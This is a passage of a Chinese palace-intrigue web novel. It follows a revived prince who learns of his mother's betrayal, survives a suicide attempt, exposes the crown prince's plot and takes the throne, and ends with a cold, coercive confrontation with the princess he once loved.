她等得那样害怕,那样焦急,好在终于让她等到了。 他喉结上下滚动,看了她一眼,并未伸手接过茶盏,只问:“救我?我被刺入了命门,必死无疑,你怎么救的我?” “殿下不记得了吗?那时在宫里,我同你说过的,崔氏有一枚玄麟丹,有起死回生之功效,倘若你娶了我,它将会是我的陪嫁。” “那是崔氏的传族之宝,珍贵无比,崔守阶怎么会同意让你拿玄麟丹救我?而且,我并没有答应娶你,你……” “无妨,你用了我的玄麟丹,我便当做你已经娶了我——我是说,殿下既然已经服下玄麟丹,便不用再想这些。总之你不必担心,我不会挟恩图报,逼你娶我就是——我做事情,从来只凭心意,并不计较得失。” “至于我爹怎么会把玄麟丹交给我,自然是我病得快要死了,他没有办法了,总不能眼睁睁看着我去死,自然不得不给我。至于个中细节,殿下还是不必再问——我想,你也不会想知道的。” 萧彻深看了她一眼:“为什么救我?” 崔令颐端着茶盏的手微微收紧,只道:“你不知道?” 萧彻摇了摇头。 若说是她把牌压在他身上,笃定他日后会复起,想谋一桩从龙之功,那她的胆子也未免太大些——从萧珏手里抢到他的尸身,不用想也知道必然是费了很大一番周折,而且要冒着得罪他的风险,日后若压错了宝,这件事便是埋下了一个极大的隐患。 而且她一个姑娘家,瞒着崔守阶将他藏在别院,一旦走漏风声,她名声尽毁,是会被整个崔氏所不容的,他实在不知道,她究竟为了什么才会敢做这样一件事。 可她什么都不说,只抬眸看着她,一双黑白分明的眸子,眸底有什么在静静流淌。 萧彻略一蹙眉,转而问:“萧珏怎么会同意你带走我?” 崔令颐回过神来,眼睫轻掩,只道:“我自然有我的办法。都过去了,殿下又何必再问?” “至于我为什么救你,”她慢慢靠了过去,弯起唇角,意味深长地道:“殿下倘若如今还不明白,那便也没有知晓的必要了。” “好了,殿下。”她直起身子:“今日我在这里待的已经够久了,未免府上生疑,我得先回去了,明日再来看你,榻案上有一个漆盒,里面装了膳食,你随意用一些。” 又转身出去,从一个黄花梨书架上取出一封信件,回来交给他道:“这是姬乐在我出宫前交给我的,也是她找我救的你,她说若你能够醒来,便将这封信给你,这是你母妃最后留给她的东西,要她在最最紧要关头打开,而她还尚不及打开,恐怕之后没有这个机会了,所以让我转交给你。” 萧珏伸手接过,指尖摩挲着信封,垂眸问道:“她如今,怎么样了?” “据我打探的消息称,她去刺杀萧珏,可惜失败了……被萧珏一刀刺死,清河公主为她求情,萧珏勉强给她留了条全尸,如今葬在了城南的义冢地。” 萧彻闻言攥紧了手上的信封,指关节隐隐发白,眸底浮上森然冷意,咬牙切齿地道:“萧、珏。” 崔令颐看了他一眼:“说到清河公主,听说她最近过得也不太好,前阵子总是守着庭院的两个雪人发呆,后来天气一朝放晴,雪人融化,她的状况便更不好了,整日里神情恍惚,人瞧着也有些疯癫了。” 萧彻眼睫覆压,搭在一旁的手指微蜷,只道:“她的事,不必跟我说。” “她往后如何,与我再无干系了。” 崔令颐观察他的神情,轻轻点了点头:“好。” —— 崔令颐走后,萧彻屈膝靠在榻上,深深地一闭眼。 脑海中仍残留着方才经历的梦魇,那样可怖的场景,历历在目。 在梦中,江沉鱼精致的面容变得扭曲,一遍遍地质问他,为什么没有完成她的遗愿,为什么这么没用,枉她细心教养了他十八年,他从头到脚,没有哪处是逊色的。头脑身手,心计谋略,他哪一样不是几位皇子中最出类拔萃的? 便是依托着这一身这身皮囊,稍稍用上几分心思,也可从众贵女中寻得一位借力,可是到头来,他不仅没有从萧珏手里夺得皇位,反而葬送了自己的性命,废物,简直是一个彻头彻尾的废物! 他怕极了见到江沉鱼失望的眼神,他想说:“母妃,孩儿真的尽力了……孩儿没有一刻忘记过您的遗愿……这段时间,也一直在为此事筹谋……” 然而终究在梦中,他也没能将这话说出口。 只因在结果面前,一切的解释都那么地苍白无力,更像是一种徒劳的狡辩。 他确实让她失望了。 江沉鱼一早劝诫过他:“情爱之事,只能是点缀,万不可太过看重,乃至沉迷。” 她明明也教过他:“你若喜欢一个人,一定要让她为你心疼、心痛、乃至心碎。只有这样,她才会对你难以忘怀。” 可他当时不懂,只觉若喜欢一个人,必然是要宠着爱着,又怎舍得为她如此? 江沉鱼当时只是叹了口气:“你既对她这般不舍,往后便要为她心痛、心碎。” 她道:“你这孩子,恐怕日后在情之一字 上,要吃尽苦头。” 一语成谶。 他在噩梦中挣脱不得,一转头,却看到颜嘉柔站在身后,梦中的他似乎忘记了她对他做过的事,立刻走了上去,颜嘉柔顺从地伏靠在他的怀里。 他正要揽上她的腰身,忽感胸口一凉,一低头,只见胸口命门处赫然插着一柄匕首,耳边是她冰冷的嗓音:“你去死吧。” 便是这一刀,让他彻底从噩梦中挣脱。 醒来之后,却发现这一切却不是噩梦。 再没有比这更无望的了。 萧彻缓缓睁开眼,自嘲地笑了一声。 他摩挲着手上的信封,眼眸低垂,动手撕开一道口子。 里面掉出来一块令牌,黑玉为底,镶错金铭文,背刻兰陵文字,这是江沉鱼留给他的、能号令前朝死士的令牌。 他喉结滚动,缓缓摩挲上面的纹路,之后将其攥在掌心,转而打开了里面的信纸。 那是一封江沉鱼写给姬乐的信。 既是写给姬乐的,他本也无意去看,只是目光无意间掠过时,瞥到了他的名字。 他眉尾几不可察地一抬,到底还是看了那封信。 于是手指一寸寸收紧,指关节隐隐泛白。 信纸已被攥地发皱,他死死地盯着上面那一行行娟秀的兰陵篆文,确实是江沉鱼的字迹无疑:“……我以身做局,以命铺路,一死只为激起萧彻的斗志。” “我让他以为是崔氏和她的一双儿子害死了我,他便只能替我报仇,他的性子我了解,我那般言传身教,让他从小就活在对我的愧疚之中,这杀母之仇,他不会不报。我临死之前让他完成我的遗愿,他哪怕豁出性命,也不会不去做。” “他的心计谋算,远在萧珏与萧衍之上,应当能助我完成大业。” “唯一担心的事,不过是他对昔日颜沐之女用情极深,她爹当初救了我,或许便种了孽因,冥冥之中,要我儿还她一世情。我怕他会像我一样,因情之一字而误了终身,也耽搁了我的大业。” “倘若他真这般不争气,不能从萧珏手中夺得储君之位,不能让大魏千秋百代流淌着我兰陵族的血液,也不能完成我的复国大业。那便杀了他吧,你知道他的命门所在,他将你当姐姐,并不设防,你当能一击得手,记住,切勿心软,只当他是萧元乾的儿子——我报不了仇,我唯有杀了自己和他的儿子,才能最后报复他一回了。” 喉结重重一滚,萧彻倏然闭目。 眼角那一滴泪终究还是坠了下来,砸落在信纸上,晕染开一片墨渍。 原来所谓的报仇,只是一场彻头彻尾的算计。 江沉鱼布了一场局,不惜以身入局,而他从来只是他母妃的一枚棋子。 那他这么久以来,苦心谋划,步步为营,不惜陷害萧衍,重伤萧珏,到头来,又为的是什么? 他根本就是恨错了人,报错了仇。 而一旦他不能如她的意,帮她完成她所谓的复国计划,便成了一颗彻底无用的弃子。 既是弃子,那便连性命都没有留下了的必要,只为最后报复一次萧元乾,便不惜要取他的命,还真是敲骨吸髓。 他从来知道他是亏欠他母妃的,只因他身上流有萧元乾一半的血脉,萧元乾灭了她的国,屠尽了她的族人,于是他生来便是有罪。 他不是没有察觉、没有怀疑过江沉鱼是在利用他。 只是他一直以为,即便掺杂了利用,她是他的母妃,终归还是对他有一丝真心的。 可是没有,到头来,一丝也没有。 从来都只是利用而已! 可是母妃,他想,我也是你的孩儿啊……他原本以为,没有一个母亲是不会希望自己的孩儿好好活下去的。 他悲哀地想,他这一生,被世人厌弃,被母妃取命,又被心爱之人一刀刺穿命门,或许从来根本没有一个人真心待他,真心爱他。 他的出生就是一个错误,是一笔孽债。 他转头看向窗外,淡茶色的瞳仁折射了一缕天光,深处却是空茫一片。目光落在虚空中,停留了很久,很久…… 细小的尘埃在光中浮游,忽上忽下,像是被无形的手拨弄着。 像极了他的一生。 无根的浮尘,仰赖天光而活,却漂浮不定,永远找不到归处。 他轻扯了唇角,忽然觉得这世上的一切,实在都没什么意思。 罢了,既然她们都想要他去死,那他还活着干什么……便遂了她们的心愿。 既然这天光并不属于他,那便,永堕黑暗吧。 …… 崔令颐正要走出竹林,忽觉眼皮跳得厉害,心中隐隐觉得不安,思忖片刻,转身快步走了回去。 她推开房门的一刹那,再料不到会撞见萧彻自戕。 她只觉心脏骤停,人还未完全反应过来前,脚步已经上前,一把夺过她的佩剑,抬手就朝他的脸上打了一巴掌。 清脆的掌掴声回荡在静室内,她的声音都在发颤。 “萧闻祈,你做什么?!” “你的命是我用玄麟丹救回来的,没有我的允许,你怎敢去死?!” “萧闻祈,你都已经是死过一回的人了,上天让你遇上我,那便是你命不该绝!既如此,你又怎敢违逆天意?!你一死再死,想来便是什么都豁得出去了,既如此,又怎么就非死不可了!” 萧彻抬头,眼眸中迷雾慢慢散去,搭在床沿边上的手指痉挛了一下,脸上渐渐显现出一种奇异的微笑:“你说的对。” “既然要下地狱,那便一起吧。这世上没了爱,倒是不缺恨。爱意消弭,自然有恨意支撑。这么想来,倒也不至于无聊透顶。” 他回过神看了她一眼,弯唇道:“令颐,多谢。” 日 光自窗棂照进来,衬得他的瞳色更浅了,仿佛蜜珀。 她一直觉得浅瞳是这世上最好看的瞳色,光是光影变幻,便能夺人心魄。 他的皮肤在日光下几近透明。 日光为他镀上一圈淡金色的光晕,眼睫低垂,便投下一圈扇形的光影,随着笑意轻轻晃动。 崔令颐只觉脸颊隐隐发烫,垂眸快速地道:“没事。” 萧彻抬手将佩剑递还给她,在她伸手结果的一刹那,他却略一挑眉:“不过,你一个小姑娘,静室里怎么会悬有佩剑?” “女子怎么了?难道女子便只该只困于绣阁之内?仗剑天涯,行遍万里河山,便只能是男子做的事?” “《越女剑法》有言,凡手战之道,内实精神,外示安逸,这执剑之道,便是处世之理。” “女子的剑,原就该生辉于罗裙之上。” 她说着看了他一眼:“……何况,女子也能有想保护之人。” 萧彻略一怔仲,微微一笑,道:“自然。” —— 萧彻恢复的很快,短短几日,便已恢复如初了。 这天他让崔令颐带着他走了一遍竹林,演示了一遍如何走出这奇门八卦阵。 一遍之后,他已能出阵。 崔令颐牵起唇角,眼睫低垂,掩去眸底的几分黯然,只道:“殿下果然聪明,一学便会。” 萧彻在最后离开的前一天曾经问崔令颐想要什么,但凡他有,但凡他能做到,必定应允。 她在听到这句话时,便已嗅到萧彻离开的气息。 也知道萧彻这是要报答她的救命之恩。 自此之后,便互不相欠。 她仰头看着他,忽然笑了:“那便送我一样难忘的礼物吧。” —— 萧彻果然送了她一件极难忘的礼物。 入夜之后,她在竹林里等他。 月色如霜,自竹叶的缝隙中倾落下来。 忽然不远处响起笛声,第一个音符跃出的瞬间,竹叶上的残雪簌簌而落。 那些晶莹的雪沫在空中打着旋,却渐渐泛起暖黄微光。 ——竟是萤虫。 崔令颐忽然想起一个关于兰陵族人的传闻。 传闻兰陵人擅通音律,可控萤虫,逆萤时。 看来传闻是真的。 这般无用的技能,可放在兰陵一族身上,却显得再合理不过—— 兰陵一族,连擅长的技能都是这般蛊惑人心的小把戏。 她想她栽在他身上,并不冤枉。 只见万千萤虫随着笛声汇聚成一条蜿蜒的星路,萧彻踏星而来,月色缱绻地流淌在他的身上。 浅色的眼瞳映照点点萤火,他牵动唇角,一时春风揉皱池水,粼粼生色,月光都成了陪衬。 一切都如梦似幻。 及至走到近前,笛子在他指间翻转,他抬起她的手腕,略压了笛尾,轻点在她的掌心之中。 其中一只最明亮的流萤,在她的掌心翩然游走,她觉得有些痒,正要收手,萧彻却扼住了她的手腕,轻笑道:“别躲。” 崔令颐怔怔地看着他,一时生了恍惚。 萧彻略一挑眉,眼神往下,示意她低头看向掌心。 她方才回过神来,低头看去,只见萤虫翩跹,尾光留痕,渐渐凝成两个字——是她的名字,令颐, 萧彻在萤光中打了个响指,之后流萤四散,环绕在她身侧化作萤光点点,置身其中,如梦似幻,再没有比这更美的场景。他掀起唇角,只问:“好看么?可还喜欢?” 崔令颐深深地看着他,半晌才道:“……好看,喜欢。” 那一刻她便知道,她这一生,是忘不掉了。 只是第二日再过来时,静室已不见萧彻踪影,昨日一切,恍如幻梦一场。 第129章 正文完结 第129章 第129章正文完结 萧彻离开静室后,用令牌唤出死士,供他差遣。 都城西市一座废弃的胡商宅邸,燕骁按着玄衣人给的地址,按时来到此处。 他站在门口,心中万般忐忑之下,隐隐有几分激动。 门上的朱漆早已脱落,铜环也已经锈迹斑驳。 他手指悬停在半空中,深吸一口,到底还是推门而入。 嘎吱一声—— 等到瞥见站在窗前,一身墨色斗篷、笔直修长的身形时,他半边身子猛地一颤。 眼眶瞬间涌上一股热流,他上前握拳猛地捶在他的肩后:“萧闻祈,我就知道你还活着!” “你装神弄鬼这么多日,也不知死去哪儿了!可知我为你担惊受怕、寝食难安好一阵了!” 前面的人终于缓缓转身,抬手摘下风帽,垂落的阴影从他的眉骨处褪去,露出茶色的眼瞳。 他抬起头的刹那,暗室倏然一亮。 他看了他一眼,微微抬眉:“哭什么,我出来之后,不是第一个来找你了么。” 燕骁抬手胡乱擦拭了眼角的湿意,此时也顾不得旁的了,连忙追问道:“你快说说,当日到底是怎么回事?” 萧彻嗤笑了声:“当日我确实是死了一次,我手臂上那狐狸留下的印记已经完全消退,原来只有我死了,羁绊才会解除,她的怪病才会彻底治愈——我当时气息全无,只留一缕微弱的心脉,连那狐狸都以为我死了,这才将它骗过,彻底断了我与她的孽缘。” 便将当日在承欢殿发生的事与燕骁讲了一遍。 燕骁越听眉头皱得越紧,恼恨道:“那小公主竟下得了这样的狠手!” 然而看向他的眼神,到底多了一丝不忍。他知道,于萧彻而言,最痛的恐怕不是往命门上刺的那一刀。 然而萧彻只是无谓地扯了唇角,依旧是是一副漫不在乎的姿态:“她喜欢的,从来都是萧珏。我是死是活,她又怎么会在乎?” 燕骁皱眉,也不愿在他面前再提及颜嘉柔,只问:“那后来是谁救的你?” “是崔令颐。” “是她?”燕骁一怔,而后低声喃喃道:“看不出来,她对你,倒是痴情。” 萧彻滚动了喉结,似乎不愿多说,转而问道:“如今宫中情形如何了?” “圣上中风一直昏迷未醒,太医什么法子都用了,说是观圣上脉相不至昏迷,但不知为何,就是迟迟醒不过来。” 萧彻蹙眉沉吟:“萧珏呢?” “他?如今圣上昏迷不醒,你又已‘死’,他暂行监国之职,自然是春风得意。” “倘若过段时间圣上再不醒来,他恐怕要顺理成章地继位了。” “继位?”萧彻嗤道:“一个断子绝孙之人,如何千秋万代,他也能继位?” 燕骁:“这事说来奇怪,近日萧珏蓄了须,却是黑中有白,不光如此,他的发上两鬓也已斑白,说是因为圣上昏迷,他忧心过度,一夜白头,连带着须髯也白,且无心剃须,便索性留着了。” “呵,他什么时候对萧元乾这么有孝心了?我从前怎么没看出来呢,倒是会演。” 燕骁:“可不是,这番做戏下来,满朝都称颂太子仁孝呢,倒是收买了不少人心。不光如此,他此举也破除了他昔日坠马、重伤要害的传闻。毕竟没有哪个阉人,是会长出须髯的。” 萧彻闻言眯起双眸,要笑不笑地道:“那玩意儿断了能再生?燕骁,这话你信吗?” “我自然也觉得这其中必有猫腻,只是如今的形势,已有越来越多的人相信了,圣上昏迷,太子监国,太医恐怕也不敢跟他对着干,没有证据,自然也就没法拆穿他。” “那便少不得我亲自入宫一趟,探探虚实了。” “你要入宫?” 萧彻“嗯”了一声:“不过暂时不能让萧珏察觉我还未死,入宫之事须得秘密进行,你帮我安排一下。” 燕骁点了点头:“行,你还有别的吩咐没有?” 萧彻看了他一眼,递给他一副画像和一枚腰牌:“你打开这副画像看看,宫中可有这个人?还有这块腰牌,我亲眼见到宫乱那日从 一名逆党身上掉下了这块腰牌,可这分明是宫中监造司的腰牌,恐怕与逆党勾结的,不仅是宫中几个太监这么简单。” 这时燕骁打开画像,一眼认出了那画上之人正是东宫的太子内坊典直崔琰:“这不是太子内坊典直么?负责东宫市易、仓储,最熟悉三教九流,只不过听说之前为太子出宫采购奇物去了,这阵子才刚回来。” “太子内坊典直?可我分明,在宫乱中见过他,他可是逆党一员。虽以黑巾遮面,但那双吊梢眼和耳后的红痣我却颇有印象,我笃定曾在宫中见过他,所以临走时,扯下了他的黑巾,他眼中分明有一瞬的慌乱。原来他竟是太子内坊典直,那这事可颇有几分意思了。” 燕骁皱眉:“你怀疑这事跟萧珏有关?” “是与不是,试过就知道了。你想法子在宫中散播一些传言,就说太子内坊典直倒与当日宫乱中的一名逆党颇为肖似,倒真是天下之大无奇不有。这话一传出去,谁心中有鬼,谁自然就坐不住了。” “好。” —— 紫宸殿内,灯火明亮。 殿外萧彻一身玄衣,融入这浓浓夜色中,燕骁给了他紫宸殿的守卫换防时刻表,趁着守卫换防的档口,他顺利翻入内墙,藏身于廊柱之后,原想趁宫人不备,潜入寝殿,却发现寝殿周围根本没有宫人值守,着实诡异。 萧彻皱眉,贴着宫墙绕道寝殿西南一侧的窗下,用匕首轻轻割开窗纸,借着半开的缝隙朝里窥视,等见到里面的那一幕时,却是瞳孔骤缩—— 只见萧珏不知何故深夜仍在魏熙帝的寝宫,这也就罢了,可他此时竟将一枚三寸长的银针缓缓刺入他的腰际,一边动作,一边笑意森森地与他讲话,瞧着十分瘆人:“父皇,您别怪我,要怪,就怪您被妖妃迷惑,太过偏宠妖妃母子!明明孤才是你的嫡长子,可你却从来不正眼看孤一眼!” 而随着银针的推入,魏熙帝身子不断抽搐,像是在忍受着极大的痛苦,苦于发不出声,只一双眼睛死死地瞪着萧珏。 这情形,分明不是中风昏迷。 那样炽烈憎恨的眼神,萧珏却只轻飘地一笑。 他俯下身,唇角虚浮起笑意,神情颇有几分疯魔之态:“父皇,你且忍着点,唯有将银针深埋入您体内,三天一换,才能让您一直昏迷中风。啧,您说您当初多用些丹药,真的昏迷不醒该有多好,那眼下,便不必受这种罪了。” 魏熙帝闻言发出“呜呜”的动静,面色涨得通红,额角青筋凸起。 萧珏看着他痛苦的神情,心中浮上一阵扭曲的快意,不知想起了什么,一双眼睛忽然变得血红,怨毒地盯着他道:“怎么,很难受?那当初你往我在冷宫里的母后下生乌头和水银粉,让她疯癫身衰而死的时候,可曾想过她也会这般难受!” 窗外的萧彻闻言一惊。 这时有寒鸦掠过,动静引得萧珏往窗外投去一瞥,正好看到窗纸破损,当即豁然起身,面色阴鸷,厉声喝道:“来人啊,有刺客!护驾!” 一时之间寝殿周围亮起无数火把,耳边只闻铠甲摩擦发出的金属声。 禁军来了。 萧彻面色一凛,脚尖轻点,跃上屋脊,几个闪身,跳入了一条僻静的宫道。 他这一路为了躲避禁军,尽往偏僻之所奔走,不知不觉,竟翻入了承欢殿的内墙。 他轻扯了一下唇角,眸中漫上一片冷意。 这地方,他倒是再熟悉不过。 —— 承欢殿内,女子彼时正在宽衣,刚将襦裙搭上衣桁时,身后忽然贴上来一具男人的身体,他坚实的胸膛正贴着她纤薄的脊背,身上的夜行衣浸着凛冬的寒意,喷洒在她耳后的气息却依旧滚烫灼人:“不许叫,把外面的人打发了,不然我杀了你。” 熟悉的气息丝丝缕缕地将她包裹缠绕。 那样多个肢体纠缠、亲密无间的夜晚,像是在灵魂深处刻上了烙印,身体比她先一步认出来人。 颜嘉柔只觉心神一颤,还未开口,眼泪已先淌了下来:“萧……萧彻?” …… 禁军搜查到承欢殿时,原本踌躇着是否要进去,毕竟那是公主的寝殿,只今晚太子的脸色实在吓人,若是拿不到人,他们无法交差,便只能硬着头皮在殿外请示公主。 公主一贯娇柔,此刻却一改往日之态,怒声斥责让他们快些离开。 这便更惹人怀疑。 禁军面面相觑,中郎将到底还是硬着头皮推门而入:“公主,得罪了。” 却见偌大的寝殿内,空空荡荡,只有颜嘉柔一人。 此刻她正背对着他们,身上只着了一件薄纱小衣,雪肩半露,身段盈盈。 听到动静,微微转过了脸,水眸微颤,面露惊恐,一副花容失色的模样。 片刻后,一张雪白//精致的小脸上浮上怒容,斥责道:“混账,还不快滚,不然我明日告诉太子哥哥,让他把你们都砍了!” 原是公主在更衣,所以才不让他们进来。中郎将自知唐突,连连告罪,立刻带人离开了。 等人都走远了,萧彻才缓缓从屏风后现身。他淡漠地看了她一眼,正要离开,颜嘉柔再也按捺不住,跑上前去,哭着从背后紧紧环抱住他的腰身,力道之大,像是死也不会放手。 她将脸颊贴在他的脊背,贪婪地感受着属于他的温度与气息,没有人知道,她有多怀念这一刻。 她呜咽了一声,仿佛含着滔天的委屈,此刻一字一句,悉数向眼前之人倾诉:“萧彻……他们都说你死了!” “我是死了,”萧彻缓慢地转过身来,伸手搭上腰际,将她的手指一根一根地掰了下来,冷嗤道:“公主这么快就忘了吗?我正是死在你的手上,被你一刀刺入命门。我还记得,那日下着大雪,天气很冷,就跟你的心一样。” 颜嘉柔身子猛地一颤,眼泪簌簌而落,哭着摇头道:“不是的,不是这样的……萧彻,我从来没有想过杀你……我不是故意的,我只是被萧珏利用了而已……” 萧彻觉得可笑,便真的笑出了声:“时至今日,你以为,我还会相信这样的鬼话吗?” 他眸底覆上寒霜,抬手掐过她的下颌,向上用力一提:“颜嘉柔,你每回都是这样,骗了我之后,再这般楚楚可怜地掉眼泪,让我一次次为你心软,一次次选择原谅,结果呢,不过是纵着你一步步伤我,直至死在你的刀下,这才不得不醒。我已经是死过一次的人,若是还信这些鬼话,岂非毫无长进?你当真要这样低看我吗?” 颜嘉柔苦涩笑道:“你既不信我,那你杀了我吧……倘若杀了我能让你觉得快意,萧彻,我愿意为你而死……时至今日,我没有什么是不愿意为你去做的……” “你以为我不舍得?”萧彻眸底浮上一缕戾气,凑至她的耳边,幽幽地道:“想我杀了你,你也配?” “很多时候,死亡是一种解脱,生不如死,才更有趣,不是吗?” 颜嘉柔却笑起来:“好,只要你高兴,你想怎么对我都可以……” 萧彻忽然觉得一阵心烦,松开了手,扭头吩咐道:“把衣服脱了。” “什……什么……” “不是说什么都能为我做吗?我让你立刻把衣服脱了。” 她眼下只着了亵衣,若是再脱,那便是一//。丝//。不//。挂的意思。 颜嘉柔抿了抿唇,还是依言照做。 一阵窸窣动静后,衣服悉数堆叠在脚踝。 萧彻缓缓转过脸来看她。 灯火下,少女胴//。体完美,一身雪白的皮肉莹润生辉,不见一丝瑕疵。 颜嘉柔不知为何,有些紧张,抬眼偷偷地打量他,只一眼,一颗心便立刻沉了下来——萧彻看向她的眼神并不带丝毫情//。欲,有的只是打量和观察,像是在求证什么。 片刻后,他挑眉问:“萧珏没碰过你?” 颜嘉柔脸色一白,立刻摇头道:“没有!” 虽然他曾经想……那日他称他服了密方,竟是小儿脑髓,说是能令底下那物重新长好,然而终归还是不能立起,他便恼羞成怒地摔门走了。 萧彻眯起眼眸,似有所思量:“果然。” 颜嘉柔不知他相信了没有,只怕他怀疑她与萧珏真有了什么,着急之下口不择言道:“我和他真的没有什么,不信你可以再好好检查一下……” 萧彻嗤了一声:“检查,怎么检查?插//。进去吗?” 他道:“你不配。” 颜嘉柔脸色一白,唇瓣嗫嚅着,却是说不出话来。 萧彻冷淡地收回视线:“方才我进来时,从身后贴上你,其实已经在你身上下了药,若想活命,便乖一些,倘若今日之事泄露出去半分,你便活不了,明白么。” 颜嘉柔也不知听进去了没有,竟像是浑不在意一般,只怔怔地看着萧彻。 待到他转身要走时,她又从身后贴了上来,哀哀地道:“萧彻……别走好 吗……或者带我一起走……我还有好多好多话想跟你说……” 萧彻陡地一笑,只道:“急什么,用不了多久,你便只能跪伏在我脚边,一声声地向我求饶。” “……等到那时,你想说多久都行。” —— 没想到那日来得那么快,颜嘉柔后来听说,便是她在宫里见到萧彻的第三日,朝堂上发生了一桩大事。 魏熙帝病情愈发恶化、醒来遥遥无期,那日萧珏便在大臣的支持下打算登基,奉魏熙帝为太上皇。 岂料登基大典举行到一半时,一个所有人都意想不到的人来了——三殿下萧彻,他竟然还活着。 一时满朝哗然。 萧珏面色一时变得极为难看。 如若光是萧彻来了,他还能忍耐,偏偏他还带来了一个人,一个他早认定他已经死了的人——崔琰。 崔琰跪在大殿之上,当着满朝官员的面,将萧珏与弥勒教勾结,制造宫乱,趁机杀害萧彻的事抖落了出来“……殿下,您真是好狠的心,属下为您在弥勒教那等龙潭虎穴里潜伏了数月之久,时时帮您传递消息,没有功劳,也该有苦劳吧,可您听到宫中不久前的那则传闻,担心我的身份暴露,竟狠心要杀我灭口,哪怕您是让我远离都城,我也不会有半句怨言……您却想要了我的命……” “您不仁,也别怪我不义……事到如今,我也只能如此,才能保全一条性命了。” 说完将这几个月与萧珏往来的书信尽数呈于百官前,上面赫然盖着东宫印鉴。 萧珏哪里肯认,他也早留有后手:“……可笑,光凭这些就想污蔑孤?谁不知东宫的印鉴几个月前便丢过一次,你是东宫的人,或许正是你偷盗了印鉴,与萧彻勾结,想要栽赃给孤!” 萧彻闻言笑道:“是吗?” 慢条斯理地从那一叠书信中抽出了最后一封:“太子不妨看看这封?您千算万算,大概没有料到这最后一封信不知怎么,竟耽搁了几日,用的正是您前不久刚得的新印……” 说着将信纸从信封中抽出,轻轻一抖:“啧,这刚得的新印怎么也不爱惜一点,你看,这印鉴右下方,竟给磕去了一角,这盖在信件上,仔细一看,似乎也留有缺口啊。” “许是太子日理万机,并未察觉,不若从东宫将印鉴带出来,比对一下,看看是否如出一辙?这样的缺口,恐怕难以造假。” 萧珏闻言脸色骤然变得惨白。 萧彻便趁着他愣神间,上前一把扯下他的须髯:“嘶,怎的竟是假须,整日带着,唇上都发红了,太子,你这又是何苦?” 底下官员见状霎时变了脸色,交头接耳,议论纷纷。 “怎的竟是假须?太子殿下不到三十,原本我朝年轻男子,便没有留须的习惯,他不留不就是了,何必粘假须?” “这般粘假须,欲盖弥彰,反而像是遮掩什么……” “难道传闻是真?太子殿下坠马之后,果真不能人道了……” “既是如此,我大魏朝,又怎能让一个不能人道的皇子来继承大统……” 萧珏听着底下官员的议论,整个人像是被抽干了力气,眼神空洞地停在半空,片刻后,缓缓地瘫倒在地。 他知道这至尊之位,从这一刻开始,便与他再无干系了。 然而最无望的事还远不止此——他看到魏熙帝由太后搀扶着,正一步步地朝大殿中走来。 他死灰一般的眼珠倏地转动了一下,之后吃吃地笑了,表情也彻底趋于麻木。 完了,他想,一切都完了。 这之后的一切都如他所料,魏熙帝将他弑君弑父的罪行昭告天下,他也随之被废。 —— 可惜魏熙帝受他这般荼毒,又常年服用丹药,身子已彻底垮了,半月后驾鹤西去,临死前将皇位传给了萧彻。 萧彻登基那日,是个难得的好天气。 登基大典办得声势浩大,十分隆重。 新帝登基,大赦天下。宫中到处都洋溢着一片喜气。 颜嘉柔以为他甫一登基,必定诸事繁忙,尽管同在宫中,也恐怕不能得见。 没想到他这么快便来找她。 —— 太监尖锐的嗓音在殿外响起—— “陛下驾到!” 颜嘉柔被映雪搀扶着出来相迎,伏跪在他靴边。 他缓缓转过身来。 他今日身上穿了一袭玄色衮服,衣摆处用金线绣了暗纹,在日光下隐隐有异光流动,腰间系了玉带,愈发衬得他身姿挺拔修长。 他居高临下地看着她,她缓缓抬起头,日光刺目,她微微眯起了眼,好一会儿才能看清眼前之人。 这帝王的衮服穿在他身上倒是格外相宜,衬得他愈发有一种凌厉的俊美。 他终归是如愿以偿,得到这江山了。 她也由衷为他感到高兴。 她想她真是极爱哭的,无论是伤心还是高兴,眼泪总是不知不觉地淌落下来。 等回过神来时,已是泪痕满面。 萧彻这般打量了他许久,微微蹙眉,终究是俯下身来,抬手掐过她的下颌。 “哭什么?”指腹搭上她的眼尾,他动作温柔地替她拭去那一点湿意,然而凑至她耳边,说出口的话,却宛如毒蛇吐信,令人背后陡然爬上一股寒意:“日后要哭的地方,还多的是。” **************正文完结是oe,番外是he哈,如果大家想看be的话,也可以再出个be版本*****